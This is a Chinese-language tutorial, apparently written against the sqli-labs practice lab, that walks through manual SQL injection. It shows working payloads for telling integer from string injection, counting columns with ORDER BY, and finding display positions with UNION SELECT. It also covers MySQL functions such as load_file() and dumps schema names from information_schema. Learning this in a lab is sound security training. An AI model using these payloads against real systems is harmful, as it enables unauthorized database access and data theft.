1. 程式人生 > 其它 >Java的break、continue

Java的break、continue

SQL注入詳細步驟講解

1、Get型 整型與字元型注入判斷:

舉例:

http://xxx/xxx/Less-1/?id=1 and 1=1 --+

輸入?id=1 and 1=1 --+正常,輸入?id=1 and 1=2 --+報錯,可判斷為整型注入。

http://xxx.xxx/Less-1/?id=1'

輸入?id=1'出現報錯,輸入?id=1''正常,可判斷為字元型注入。

http://xxx.xxx/Less-1/?id=1' and 1=1 -- -

輸入?id=1' and 1=1 -- -正常,輸入?id=1' and 1=2 -- -報錯,可判斷為字元型注入。

http://xxx/xxx/Less-1/?id=1

' and 1=1 --+

輸入?id=1' and 1=1 --+正常,輸入?id=1' and 1=2 --+報錯,可判斷為字元型注入。

總結:--+為註釋後面的內容 -- -也可以用,效果一樣。單引號是用來猜其是否存在字元型注入的,不加的就是測試其是否是整型注入的。

2、判斷列數

判斷完整型還是字元型後,去判斷有多少列,當輸入的列數超過它本來的就會出現報錯。

舉例:id=1' order by 4 --+ 判斷這個資料庫是否有四列,如果不是會報錯,反之不報錯。

3、判斷顯示位及在顯示位上放一些sql函式來獲取你想要知道的。

id改為0或負數或100000這種很大的數,這中不存在的情況就會使其報錯,就會直接執行後面的語句。

舉例:id=0' union select 1,2,3 --+ 判斷其中的顯示位為哪個,假如是3,那就可在這個位置上加入sql函式來測試。

MySql的函式有:

1:system_user() 系統使用者名稱

2:user() 使用者名稱

3:current_user 當前使用者名稱

4:session_user() 連線資料庫的使用者名稱

5:database() 資料庫名

6:version() MYSQL資料庫版本

7:load_file() 轉成16進位制或者是10進位制 MYSQL讀取本地檔案的函式

8:@@datadir 讀取資料庫路徑

9:@@basedir MYSQL 安裝路徑

10:@@version_compile_os 作業系統

舉例:

1)http://xxx/Less-1/?id=0' union select 1,2,database() --+ 獲取當前資料庫名。

2)http://xxx/Less-1/?id=0' union select 1,2, group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+

顯示所有庫名。

group_concat() 是把相同的值全部以逗號分割的形式列出來。